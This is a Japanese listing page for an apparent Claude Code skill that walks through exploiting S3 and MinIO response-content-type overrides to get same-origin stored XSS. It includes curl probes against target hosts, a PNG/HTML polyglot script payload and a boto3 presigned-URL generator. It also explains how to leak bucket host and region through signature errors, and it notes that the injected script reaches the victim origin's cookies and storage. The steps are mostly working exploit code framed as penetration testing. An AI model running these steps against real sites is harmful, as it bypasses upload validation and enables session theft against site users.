s3-minio-content-type-xss について
s3-minio-content-type-xss は、S3、MinIO、互換ストレージでオブジェクトのレスポンス Content-Type を変更できるか評価するセキュリティテスト用スキルです。潜在的な同一オリジンの格納型 XSS の確認手順も扱います。
主な機能
- 01公開ストレージオブジェクトの特定
- 02レスポンス Content-Type の変更テスト
- 03MinIO と署名付き S3 リクエストへの対応
- 04同一オリジンでの影響確認
- 05アップロードと CDN の注意点
活用シーン
- 01公開バケットのファイル配信評価
- 02アップロード検証の回避リスク調査
- 03潜在的な同一オリジン格納型 XSS の検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill s3-minio-content-type-xssインストール後、Claude Code で/s3-minio-content-type-xssを入力して読み込まれたか確認します。
詳細
S3/MinIO の Content-Type 上書きによる保存型 XSS
クエリパラメーターで Content-Type レスポンスヘッダーを上書きし、パブリッククラウドストレージのバケット(S3、MinIO、および互換サービス)を悪用します。対象がユーザーアップロードファイルを独自のオリジン(例:cdn.target.com や target.com/uploads/)から配信している場合、上書きに成功すると、保存された HTML/JS ペイロードが同一オリジンの保存型 XSS に変わります。これは、アプリケーションがアップロード時に実施したすべての検証を回避します。
使用する場面
- 対象がユーザーアップロードファイル(画像、アバター、添付ファイル)をパブリックバケットから配信している。
- ファイルが対象独自のドメインまたはサブドメイン配下から配信されている(ランダムなストレージドメインではない)。
- アップロード検証が強固に見える(拡張子のホワイトリスト、マジックバイトのチェック、Content-Type の強制など)。この上書きはアップロード時ではなく、配信時にこれらすべてを回避します。
- バケット URL が
?response-content-type=に対し、変更後の Content-Type を返す。 - バケットが、実際のバケットホストとリージョンを漏えいする AWS SignatureDoesNotMatch エラーを返す。
前提条件
- curl と python3 を備えた
terminal。 - ストレージから配信されるパブリックオブジェクト URL を少なくとも 1 つ特定していること。
- S3 を悪用する場合:自身の AWS アカウント認証情報(無料利用枠で十分)。
簡易検出
# Test if an object's Content-Type can be overridden (MinIO and compatible)
curl --max-time 30 --connect-timeout 10 -skI "https://cdn.target.com/uploads/avatar123.png?response-content-type=text/html" | grep -i content-type
# If you get 'text/html', the override works — proceed to exploitation
# If you get 'Request specific response headers cannot be used for anonymous GET requests', it's S3 — use signed URL approach
手順
フェーズ 1 — パブリックオブジェクトの特定
パブリックに配信されているアップロード済みオブジェクトを探します。
# Check common upload paths
for path in /uploads/ /media/ /static/uploads/ /cdn/ /files/ /assets/img/ /storage/; do
curl --max-time 30 --connect-timeout 10 -skI "https://target.com${path}" | grep -E "HTTP|Content-Type|x-amz"
done
# Look for S3/MinIO signatures in URLs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/" | grep -Eo '(?:s3\.|amazonaws\.|minio|storage\.googleapis)[^"'\''\s]{5,60}'
フェーズ 2 — Content-Type の上書きをテスト
クエリパラメーターを追加し、レスポンスを確認します。
OBJECT_URL="https://cdn.target.com/uploads/avatar123.png"
# Test override
curl --max-time 30 --connect-timeout 10 -skI "${OBJECT_URL}?response-content-type=text/html" | grep -i content-type
レスポンスの解釈:
| レスポンス | 意味 | 対応 |
|---|---|---|
Content-Type: text/html | MinIO または互換サービス — 匿名で上書きが可能です | フェーズ 3 に進みます |
Request specific response headers cannot be used for anonymous GET requests | AWS S3 — 上書きには署名付きリクエストが必要です | フェーズ 4 に進みます |
| Content-Type に変化がない | 上書きはサポートされていません | 他のクエリパラメーターを確認するか、次に進みます |
フェーズ 3 — MinIO の悪用(匿名での上書き)
有効な画像を装った HTML/JS ペイロードを含むファイルをアップロードします。
# Craft a polyglot file: valid PNG header + HTML payload
payload = b'\x89PNG\r\n\x1a\n' + b'<script>alert(document.domain)</script>'
アプリケーションの通常のアップロードフローを通じてアップロードします。アプリは PNG ヘッダーを検証して受け入れます。その後、次のように配信します。
# The browser renders the file as HTML, executing the script
curl --max-time 30 --connect-timeout 10 -sk "https://cdn.target.com/uploads/evil.png?response-content-type=text/html"
テストする MinIO の追加の上書きパラメーター:
| パラメーター | 上書きされるヘッダー |
|---|---|
response-content-type | Content-Type |
response-content-disposition | Content-Disposition |
response-cache-control | Cache-Control |
response-content-encoding | Content-Encoding |
response-content-language | Content-Language |
フェーズ 4 — S3 の悪用(署名付き上書き)
S3 は匿名での上書きを拒否します。自身の AWS 認証情報でリクエストに再署名します。
import boto3
from botocore.client import Config
def generate_s3_xss_url(bucket, key, region, endpoint_url, content_type="text/html"):
s3 = boto3.client(
"s3",
region_name=region,
endpoint_url=endpoint_url,
config=Config(signature_version="s3v4", s3={"addressing_style": "virtual"}),
)
url = s3.generate_presigned_url(
"get_object",
Params={"Bucket": bucket, "Key": key, "ResponseContentType": content_type},
ExpiresIn=3600,
)
return url
# Usage: python3 s3_xss.py <bucket> <key> <region> <endpoint> [content-type]
# Example: python3 s3_xss.py target-bucket uploads/avatar.png us-east-1 https://s3.us-east-1.amazonaws.com text/html
バケット名が不明な場合は、誤ったホストまたはリージョンで署名して SignatureDoesNotMatch エラーを発生させます。エラーレスポンスには、実際のバケットホストとリージョンを含む正規リクエストが漏えいします。
フェーズ 5 — 影響の確認
オブジェクト URL が対象のドメイン配下にある場合に限り、XSS は同一オリジンになります。次のように確認します。
# Check if the object is served under the target's origin
echo "$OBJECT_URL" | grep -qE "^https?://(www\.)?target\.com" && echo "SAME-ORIGIN XSS" || echo "Cross-origin — lower impact"
# Confirm JavaScript execution context
# The payload runs with access to cookies, localStorage, and API endpoints on the target's origin
注意点
- クロスオリジンのバケットでは影響が小さくなります。 バケットが
s3.amazonaws.comまたはランダムなストレージドメイン上にある場合、XSS は分離されたオリジンで実行され、対象のセッションにアクセスできません。 - 上書きがサポートされている必要があります。 すべてのストレージシステムがレスポンス上書きパラメーターに対応しているわけではありません。AWS/MinIO 以外の S3 互換システムでは、異なるパラメーター名が使われる場合があります。
- ペイロードを配信するには、アップロード検証も重要です。 ファイルがバケットに到達するには、アップロード時のチェックを通過する必要があります。検証処理とブラウザーの両方を満たすポリグロットファイルを使用してください。
- 署名付き S3 URL には有効期限があります。 生成された事前署名 URL には、設定可能な有効期限があります。期限が切れると XSS リンクは機能しなくなります。
- CloudFront/CDN が元の Content-Type をキャッシュする場合があります。 バケットの前段に CDN があると、クエリパラメーターによる上書きが無視される可能性があります。CDN URL とバケットの直接 URL の両方をテストしてください。
検証
- オーバーライドが機能することを確認します。
curl -skI "${URL}?response-content-type=text/html"の実行結果がContent-Type: text/htmlになることを確認してください。 - アプリケーションの通常のアップロードフローでテスト用ペイロードをアップロードします。
- オーバーライドパラメーターを付けて、ブラウザーでアップロードしたファイルにアクセスし、JavaScriptが実行されることを確認します。
- 同一オリジンであることを確認します。オブジェクトURLが対象のドメインを共有し、サードパーティのストレージドメインではないことを確認してください。
- 一連の流れを記録します。アップロードのバイパス手法 → オーバーライドパラメーター → 同一オリジンのXSS。
関連スキル
hunt-xss— XSSを検出する一般的な手法とバイパスの一覧。hunt-cloud-misconfig— 公開バケットの検出とクラウドストレージの設定ミス。firebase-supabase-attack— Firebase/Supabaseストレージバケットの悪用。js-secrets-extraction— JavaScriptバンドルからバケット名とストレージエンドポイントを探す方法。